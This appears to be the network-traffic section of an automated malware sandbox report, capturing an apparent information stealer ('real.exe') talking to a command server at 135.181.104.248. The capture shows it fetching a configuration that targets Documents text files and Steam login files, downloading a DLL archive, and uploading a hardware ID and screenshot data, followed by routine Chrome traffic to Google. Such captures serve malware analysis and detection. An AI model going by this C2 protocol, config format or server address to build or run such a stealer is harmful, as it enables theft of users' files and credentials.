Aug 23, 2022 03:43:36.889945030 CEST	11021	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Aug 2022 01:43:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49792	135.181.104.248	80	C:\Program Files (x86)\Company\NewProduct\real.exe

Timestamp	kBytes transferred	Direction	Data
Aug 23, 2022 03:42:55.736056089 CEST	4538	OUT	GET /1571 HTTP/1.1 Host: 135.181.104.248
Aug 23, 2022 03:42:55.813786983 CEST	4538	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 63 31 0d 0a 31 2c 31 2c 31 2c 31 2c 30 2c 35 64 31 34 62 63 62 37 31 34 39 35 38 37 64 35 34 31 63 61 35 31 37 63 37 65 30 30 61 36 39 35 2c 31 2c 31 2c 31 2c 31 2c 32 35 30 2c 44 65 66 61 75 6c 74 3b 25 44 4f 43 55 4d 45 4e 54 53 25 5c 3b 2a 2e 74 78 74 3b 35 30 3b 74 72 75 65 3b 6d 6f 76 69 65 73 3a 6d 75 73 69 63 3a 6d 70 33 3a 65 78 65 3b 53 54 45 41 4d 3b 25 50 52 4f 47 52 41 4d 46 49 4c 45 53 5f 38 36 25 5c 53 74 65 61 6d 5c 3b 2a 6c 6f 67 69 6e 75 73 65 72 73 2e 76 64 66 2a 2e 2a 3b 34 30 30 30 3b 66 61 6c 73 65 3b 6d 6f 76 69 65 73 3a 6d 75 73 69 63 3a 6d 70 33 3a 65 78 65 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: c11,1,1,1,0,5d14bcb7149587d541ca517c7e00a695,1,1,1,1,250,Default;%DOCUMENTS%\;.txt;50;true;movies:music:mp3:exe;STEAM;%PROGRAMFILES_86%\Steam\;loginusers.vdf.;4000;false;movies:music:mp3:exe;0
Aug 23, 2022 03:42:55.830622911 CEST	4538	OUT	GET /7810405426.zip HTTP/1.1 Host: 135.181.104.248 Cache-Control: no-cache
Aug 23, 2022 03:42:55.869071007 CEST	4540	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:55 GMT Content-Type: application/zip Content-Length: 3642574 Last-Modified: Mon, 04 Jul 2022 10:49:28 GMT Connection: keep-alive ETag: "62c2c5b8-3794ce" Accept-Ranges: bytes Data Raw: 50 4b 03 04 14 00 00 00 08 00 10 6e 55 53 4b 12 b5 9b fc b5 00 00 48 47 01 00 10 00 1c 00 76 63 72 75 6e 74 69 6d 65 31 34 30 2e 64 6c 6c 55 54 09 00 03 b0 6f 71 61 b0 6f 71 61 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 ec fd 0b 40 54 d5 bb 38 0c ef 61 06 18 71 60 46 05 45 45 1d 15 6f e1 65 98 e1 3e c3 55 06 f1 82 0e 22 e0 0d 11 b9 38 20 02 c1 1e d4 14 45 07 ca 71 37 e5 af ac ac ac 34 ad 9f 95 95 95 99 99 19 88 09 98 29 5e 32 4b 2b 34 aa 4d 43 8a 4a 80 4a ce f7 3c 6b ef 81 01 c5 73 ce ff 7d cf 7b be f7 fb 0e ba f6 65 5d 9e f5 ac 67 3d b7 b5 f6 5a 6b e2 16 6e a5 84 14 45 89 20 58 ad 14 75 88 e2 fe 22 a8 ff f8 af 19 82 db 88 c3 6e d4 81 3e df 8e 3c 24 98 f5 ed c8 79 fa ec 22 79 41 61 fe f2 c2 b4 95 f2 f4 b4 bc bc 7c 5a be 2c 53 5e 68 c8 93 67 e7 c9 a3 e7 24 c8 57 e6 67 64 4e 76 75 75 f1 e6 61 08 ee ec 9e ad dd fe ed 30 5b b8 29 1a 35 6c 1a dc 67 d5 2f 19 36 9b c4 9d 1a 96 0b f7 1d 77 6b bd 12 c9 fd b4 57 12 b9 d7 78 45 92 fb d7 5e a9 e4 fe ad 57 34 b9 2b 87 71 f7 33 e4 7d 6e 76 ba 1e e1 da 70 d6 69 29 6a 96 c0 91 92 04 8d 5b 60 8b ab a7 46 8d ec 2b 70 eb 4b fd 09 2f 72 3e f2 03 08 32 82 21 45 9e f0 d9 81 a2 9c e0 e6 42 71 77 8e 50 02 42 bc 23 fd 1c 80 8e 11 91 a4 90 8c 2b c2 dd b9 db 7e 20 96 7b 1f 8a aa 90 09 a8 a7 31 52 2e a0 c4 22 3b 62 8a 05 54 6c 38 dc 15 02 6a 1b 54 b0 7f 04 45 05 3d 82 f6 ec 88 1e 7d 04 70 8f 3c 22 ff 64 3a 73 35 0d f7 e3 8d 3c 42 d8 56 51 f7 3c d0 f4 a5 93 33 d2 e8 34 78 8e 76 e2 db 0e 6d a6 ae 77 cf 07 f5 56 4c ce e6 32 1e 72 e4 ea 26 04 69 7e 20 5f c4 e4 c2 a2 c2 74 6c 9e 88 6b 33 c9 d7 fa b0 7c 99 b9 f9 90 11 db 8e 34 a0 24 70 ef 78 20 5f d4 23 9a f8 bf 7f ff 07 7f 05 63 e1 52 07 17 41 33 3e 6d 1d 07 97 88 f1 18 f7 18 26 fb 40 d0 e1 65 2b 5e 76 e2 65 3f 5e 2a f0 52 87 17 f9 44 b8 28 f0 12 81 97 7a bc c8 26 61 2a 5e a8 c9 f8 8a 97 a5 78 69 56 62 09 3f 4c 40 e6 56 04 23 bc 10 7c d5 e0 13 5e a8 50 2c 11 86 25 f0 52 81 97 7a bc 50 28 1d a5 78 59 1a 81 88 47 63 02 5e 28 2d 56 8e 97 02 f2 14 83 38 e3 65 29 5e b6 e2 85 9a 86 f5 e2 25 02 2f 4b f1 a2 98 8e f0 66 22 a6 78 69 c6 0b 35 0b f3 e1 25 02 2f a5 e4 35 0e d1 c0 4b c1 3b 18 87 97 ad 78 d9 8f 97 0a f2 f4 2e e6 7b 0f 81 e2 25 02 2f 4b f1 52 40 5e f7 61 09 bc d4 e1 85 68 96 f1 70 11 b4 e3 45 b4 1f 2e 8a fd 08 0a 2f e2 8f b0 ec c7 48 6c bc c8 3f 41 a0 78 89 c7 cb 8b 78 a1 3e 85 12 05 07 91 4c 5f 20 0d ea 10 fc 59 7c fd 1e 9f ae 60 63 7e c2 b2 bf 20 a8 7a c4 e0 37 c4 05 2f 4b 7f 87 b2 3b f1 52 f7 3b 26 b0 08 0a 55 81 ce 82 55 5a 1e e0 0f d4 7e a5 72 4a 06 99 64 0a 07 81 ac 14 02 c5 75 b6 6c af 3b 25 6b 80 20 f7 a0 64 b2 a1 94 cc 1b 42 04 84 79 10 68 08 fb 20 fe 10 84 0a 08 a7 20 5c 82 d0 00 a1 19 02 35 90 92 49 20 b8 43 f0 82 30 1e 82 1f 84 b0 81 9c d6 8c 80 7b 2c 04 1d 84 79 10 e6 43 58 0c 61 29 84 0c 08 7a 08 b9 10 56 43 58 07 a1 14 42 19 84 cd 10 9e 86 b0 15 c2 36 08 db 21 ec 80 b0 13 c2 1e 08 7b 21 ec 83 b0 1f c2 01 08 87 20 1c 81 50 01 e1 38 84 1a 08 a7 20 d4 41 b8 00 e1 12 84 2b 10 ea 21 34 40 60 21 34 41 68 86 d0 82 b8 0e 82 76 40 70 87 20 87 10 04 21 1a c2 7c 08 ab 21 6c 87 70 08 c2 25 08 ed 10 bc 3c 21 0f 84 c5 10 d6 41 d8 03 a1 02 42 1d 84 0b 10 ae 40 68 82 20 1b 4c c9 3c 21 78 43 f0 83 a0 83 50 00 61 3b 84 0a 08 2c 04 f7 21 d0 27 10 e6 41 58 0d 61 0f 84 3a 08 4d 10 3a 86 70 b4 4c cc 5b 91 97 bf 2a 4f 9e b9 3a 3d b3 80 ce ce cf 03 da 2e 4b cb Data Ascii: PKnUSKHGvcruntime140.dllUToqaoqaux@T8aq`FEEoe>U"8 Eq74)^2K+4MCJJ<ks}{e]g=ZknE Xu"n><$y"yAa\|Z,S^hg$WgdNvuua0[)5lg/6wkWxE^W4+q3}nvpi)j[`F+pK/r>2!EBqwPB#+~ {1R.";bTl8jTE=}p<"d:s5<BVQ<34xvmwVL2r&i~ _tlk3\|4$px _#cRA3>m&@e+^ve?^RD(z&a^xiVb?L@V#\|^P,%RzP(xYGc^(-V8e)^%/Kf"xi5%/5K;x.{%/KR@^ahpE./Hl?Axx>L_ Y\|`c~ z7/K;R;&UUZ~rJdul;%k dByh \5I C0{,yCXa)zVCXB6!{! P8 A+!4@`!4Ahv@p !\|!lp%<!AB@h L<!xCPa;,!'AXa:M:pL[*O:=.K
Aug 23, 2022 03:42:55.869096994 CEST	4541	IN	Data Raw: e8 f6 1e 99 9e 9e 59 54 24 2f ce ce cf 4d c3 28 f9 24 79 5e be 7c ee bc 79 d3 e5 a8 e4 47 62 7f 44 d2 74 e6 ca 02 3a 33 43 9e 26 a7 d7 14 64 66 67 c8 f3 b3 e4 79 86 dc dc 02 ba 50 5e 90 9f 9d 47 67 16 42 ce 28 80 5d 98 09 17 3e ea 61 b0 30 4f c6 Data Ascii: YT$/M($y^\|yGbDt:3C&dfgyP^GgB(]>a0OiE4F$rDNST&<eA2x$/\-@L:, 0K(Cp m5EEkFc33>-NJ5l:;-7]Mdo?SS
Aug 23, 2022 03:42:55.869172096 CEST	4543	IN	Data Raw: 9d b3 c7 1b 82 67 f7 34 57 08 db c0 81 bc 00 69 30 ae a0 b6 3f 0c d0 7f f2 4f 46 c1 98 cf 9b 92 e1 d4 cd 11 19 37 fe c3 19 b1 1c bc fb f3 ef ff 37 fc 29 a0 9e 6d 72 aa 13 1e fa bf 7b e0 7d 1f 1f 87 e9 b6 34 ab 15 67 2b b9 39 30 2c 93 01 69 82 87 Data Ascii: g4Wi0?OF77)mr{}4g+90,iEzAzievq:xwH?AwxBb:1!p0}{*zGN8C^<4u].ui=,:Vwm^8Dq=
Aug 23, 2022 03:42:55.869199038 CEST	4544	IN	Data Raw: 10 40 f6 a9 61 20 03 76 9e c1 4d 78 3f 2b 58 12 64 f8 c1 22 c2 f7 ac 60 a9 b4 ec 00 e4 c4 5a 2e 0a 4f 20 20 e9 67 2e 00 c0 f0 99 aa 22 95 70 a3 f5 9a 3d 3f 62 6f 27 8a 93 18 01 f3 b8 48 78 ac bc 75 b5 2b 33 5d cc b8 0f 64 24 2e c2 d3 c2 ca 25 76 Data Ascii: @a vMx?+Xd"`Z.O g."p=?bo'Hxu+3]d$.%vK'1+!0^Vva"<5fvP&mYG~`IU1dG-4vRx7O]Z1:u-U{\|/:Xv02VlyX=yw\|O=4wzz9p
Aug 23, 2022 03:42:55.869723082 CEST	4545	IN	Data Raw: 31 07 92 8f b9 8b 24 2f 2d b1 82 ef 52 8e d8 3b 8f 41 d9 e4 64 67 15 93 ec 55 7e ce d0 b7 75 1a 48 4e 4e 70 a2 a7 21 13 1f a5 e5 16 e8 1e d0 c5 cb 9d 49 77 eb d8 23 20 f1 ec 67 78 f9 18 2e 26 60 b7 77 e1 6e 2c f1 82 7e 6b 49 32 c5 ba 1b 22 ad 86 Data Ascii: 1$/-R;AdgU~uHNNp!Iw# gx.&`wn,~kI2"fK8jTIwi8)bsNo< PksMmfex'dnNxmFS1%lzJpiDB{Y-Ef\-hme,e.1\Fb2{Cl9k
Aug 23, 2022 03:42:55.869750023 CEST	4547	IN	Data Raw: a9 5f 4b e7 68 88 75 42 0c 78 ac ba 46 02 c6 26 39 a7 46 80 c7 9b ca ad d2 32 62 af 03 55 97 cb 5b d7 d3 e0 8d 31 e7 b1 87 d0 f5 00 57 cb 14 d7 6c 02 5f a1 86 d1 36 83 df 04 6e 26 78 11 91 8c b6 89 78 6d 2c 33 0d 06 cc d0 77 56 03 6b f5 d5 b1 d4 Data Ascii: _KhuBxF&9F2bU[1Wl_6n&xxm,3wVk]}15VH(-a<&3%vo.R:CaH+$97r#c;[F%g@XgAr*p0j9Urivt=e/>
Aug 23, 2022 03:42:55.869774103 CEST	4548	IN	Data Raw: a2 1e a4 71 20 28 f5 40 53 68 3f da 75 90 03 9e a8 aa ff 12 30 69 f9 4b 64 bc c3 22 61 71 cb 06 10 56 5a 6e 84 87 2d 89 56 e6 8c 4f 5c b3 3a ae 49 fa 94 09 22 00 d6 e3 d0 97 40 d3 08 f0 d3 0c 43 01 13 d9 96 18 a0 57 eb a5 21 15 ad 75 a3 ea a0 a1 Data Ascii: q (@Sh?u0iKd"aqVZn-VO\:I"@CW!u#e,25lUP^VK{i`m!>DA>M]r1\j>[G$5"R"p]qXN aIB:S(bM'`'_C\3)Zs` pdBy QFW
Aug 23, 2022 03:42:55.869798899 CEST	4550	IN	Data Raw: f8 da df ee 00 30 e7 11 8c be 53 f1 f4 58 7f 90 44 40 e8 77 20 1c d1 e1 52 02 67 13 4e f0 72 4c 8b d3 a7 f8 31 11 bf 24 b0 eb 77 10 ac 24 fc 87 05 8f 5c 00 ba a4 87 7d e1 a6 5b 49 f2 44 19 ff d9 fe 01 7d 3c 9e 4f e9 9e 5f f1 40 fe 24 76 21 72 70 Data Ascii: 0SXD@w RgNrL1$w$\}[ID}<O_@$v!rp36% ~qSN f@5UN muPUaKXb;X4QjL\|*9cPc]1Wz1iWq'Suc>`
Aug 23, 2022 03:42:55.869824886 CEST	4551	IN	Data Raw: 47 b3 95 b3 09 9b 47 83 4f b7 0e 1d 4c 7f cc b3 40 07 5d f1 c7 f3 44 ad 20 8a b8 7e 47 c7 7e 0d 8a a4 71 33 54 a3 3f 3e 14 bf d7 cf 25 25 91 a5 dd 2d 03 49 1c 51 54 af 73 f1 13 e1 c5 0f b9 4d 5f 33 14 87 bf 90 53 c7 86 cc c4 9e a9 61 17 40 37 eb Data Ascii: GGOL@]D ~G~q3T?>%%-IQTsM_3Sa@7H7@![JKYz/01\;,YL;jZi}hBcBbr4cANbTqboO"Gb.7q#0GJW:Nk"}w/0Ko1V_y]?
Aug 23, 2022 03:42:55.869851112 CEST	4552	IN	Data Raw: 98 b9 9d f3 cb d9 fc a9 14 95 0c c3 62 b4 ba bf c7 a0 5d 7b 1a 7a 5f bb 15 6c 6c d9 65 da cf 98 79 1c d7 72 1a 33 6b a0 d8 f1 1c 81 ee 84 b6 63 11 4b cd c0 42 da 32 1d c4 b1 fb 49 a9 32 e5 65 2c b7 19 ca f1 0c 07 83 9d 5b 9d 83 1d e9 51 50 84 de Data Ascii: b]{z_lleyr3kcKB2I2e,[QPSFL%CeCbI,%!jSL/5805j1l;JmTMGk^<w#>w=hKsbr?.<)mihwgs>1q[Flk&v4`6#-S
Aug 23, 2022 03:42:55.907305002 CEST	4554	IN	Data Raw: 80 bb b5 85 5c a2 e5 02 3c 5a fa 94 ae 11 26 19 6a 71 01 2d 89 6d dc 02 b9 34 de 06 cf c8 20 01 3d c0 a6 38 9e 66 5f 42 ad 8f eb e6 35 e0 14 fc 46 84 f3 38 bb 0e 9c bf ae d9 19 ee cb a1 6d 86 66 5d 8e 0c 57 8a 62 36 3c 67 8f ac 1a ed 39 3d 13 bb Data Ascii: \<Z&jq-m4 =8f_B5F8mf]Wb6<g9=L7#&AwRS<{(`U!2/c%bX2>c~N8{W}$`FsB8,;(scN(]~5GpThON4c614PW'g"V0J
Aug 23, 2022 03:43:14.102616072 CEST	10556	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----6071721081012033 Host: 135.181.104.248 Content-Length: 26357 Connection: Keep-Alive Cache-Control: no-cache
Aug 23, 2022 03:43:14.102673054 CEST	10560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 30 37 31 37 32 31 30 38 31 30 31 32 30 33 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 72 6f 66 69 6c 65 22 0d 0a 0d 0a 31 35 37 31 0d 0a 2d 2d Data Ascii: ------6071721081012033Content-Disposition: form-data; name="profile"1571------6071721081012033Content-Disposition: form-data; name="profile_id"0------6071721081012033Content-Disposition: form-data; name="hwid"349368b9d5a2
Aug 23, 2022 03:43:14.102713108 CEST	10568	OUT	Data Raw: 6b 77 45 59 38 35 4d 42 47 4e 51 53 77 55 47 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 55 45 73 44 42 42 51 41 41 67 41 49 41 48 59 64 46 31 57 76 4e 73 5a 47 64 7a 38 41 41 44 6d 59 41 41 41 50 41 42 45 41 4c 33 4e Data Ascii: kwEY85MBGNQSwUGAAAAAAAAAAAAAAAAAAAAAAAAUEsDBBQAAgAIAHYdF1WvNsZGdz8AADmYAAAPABEAL3NjcmVlbnNob3QuanBnVVQNAAfPTARjz0wEY89MBGPsnAdQVG2X5y+xiQKSMwpKRrLkKJIk54yCNkGyZBEEQWygCQoIknPqRnKWnJNkJCMZJEOT6cX3/b6Z+Wremp3dnZrdme3b9auuvs/znPM/p+8957nVVY2cRC4A
Aug 23, 2022 03:43:14.141621113 CEST	10569	OUT	Data Raw: 74 49 68 36 62 47 64 49 36 38 66 50 68 61 70 4d 48 54 53 4e 74 6b 4b 51 51 49 66 49 6a 39 58 4b 2b 73 6d 4a 58 2b 6d 31 68 62 33 4f 59 48 44 62 37 49 47 79 37 31 38 50 65 38 2f 34 59 49 45 4d 6f 5a 68 75 6c 70 79 64 32 50 41 6d 4b 6c 43 4a 36 6c Data Ascii: tIh6bGdI68fPhapMHTSNtkKQQIfIj9XK+smJX+m1hb3OYHDb7IGy718Pe8/4YIEMoZhulpyd2PAmKlCJ6lOnx7cPEpjMBrsVUbAZxSlssFrvTQv9Q/NnAWSXmf5TIgvNGJtfLc597u6/rxvN1QnLgjd1H0vrj6zlCNu4K4AkGn9I+RYs8mwq8KpORN5N8fTebIueloQM9OeN3B904f/9kjzD6ApGoyQGoz0Z86oOV1M5hhZTjcw
Aug 23, 2022 03:43:14.141793013 CEST	10580	OUT	Data Raw: 49 4d 43 53 53 38 55 6c 4d 54 2f 66 4b 56 5a 76 59 31 6a 66 78 66 71 51 74 51 48 35 77 37 2f 6c 74 6c 2b 31 45 49 51 79 4e 76 36 71 32 47 51 46 2f 59 62 55 6f 32 61 53 64 31 39 61 34 59 47 50 2b 78 31 54 45 53 71 73 4d 36 7a 51 59 2b 49 68 62 44 Data Ascii: IMCSS8UlMT/fKVZvY1jfxfqQtQH5w7/ltl+1EIQyNv6q2GQF/YbUo2aSd19a4YGP+x1TESqsM6zQY+IhbDddgOmZIbn8+91rh6wjCr0pxHFbf9+sQFvvQCs4/c8yYLCmz+e1fNwebkjrodcvUAVOLeGicLoEoWgCz1OXoUcBfdaP8WTssT3Ln6Lxuq40tI2PwB26hh1GGFh+mpL/V758yzP1M/gyHvv+LhXFTCxoMLiH0CmpK1o
Aug 23, 2022 03:43:14.141818047 CEST	10582	OUT	Data Raw: 32 30 4a 6a 4f 67 38 35 63 50 62 39 61 31 64 75 70 37 4d 4c 33 39 73 76 63 4d 4f 6a 58 79 4f 4c 66 4f 68 38 55 30 69 4b 71 75 6b 42 2f 58 33 62 55 62 5a 49 64 53 4a 39 7a 39 48 4b 6f 38 63 70 56 2f 30 70 45 43 6e 58 31 4c 2b 50 6d 59 74 67 45 48 Data Ascii: 20JjOg85cPb9a1dup7ML39svcMOjXyOLfOh8U0iKqukB/X3bUbZIdSJ9z9HKo8cpV/0pECnX1L+PmYtgEHnLekqUDx3JEvuhvinRA8iodmP94klFQq/RBFmr2l/uGat5fZNOrkdh7MINU5EPqISyqSG14vYWnWpHTQ3LmboOpwaHtGS6M49R4dks539KV7bJjazqgV378+iUdQOXT+GZQLT8Yx0rnjqZYd7zoO2l8Bd5o4I7bu6
Aug 23, 2022 03:43:14.268030882 CEST	10583	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 6f 6b 20 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 4ok 80

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49717	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49716	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49723	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49730	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49731	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49736	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49744	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49712	142.250.180.141	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:34 UTC	0	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2022-08-23 01:42:34 UTC	0	OUT	Data Raw: 20 Data Ascii:
2022-08-23 01:42:34 UTC	4	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 23 Aug 2022 01:42:34 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp" Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-58u30xe-rLTT6HQPJaSdOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'nonce-58u30xe-rLTT6HQPJaSdOA' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/IdentityListAccountsHttp/external"}]} Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-08-23 01:42:34 UTC	5	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2022-08-23 01:42:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49707	142.251.209.46	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:34 UTC	0	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-104.0.5112.81 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2022-08-23 01:42:34 UTC	2	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-KuA2pD-_5Nql-aa6URyFnA' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 23 Aug 2022 01:42:34 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5712 X-Daystart: 67354 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-08-23 01:42:34 UTC	3	IN	Data Raw: 32 63 61 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 37 31 32 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 36 37 33 35 34 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2ca<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5712" elapsed_seconds="67354"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
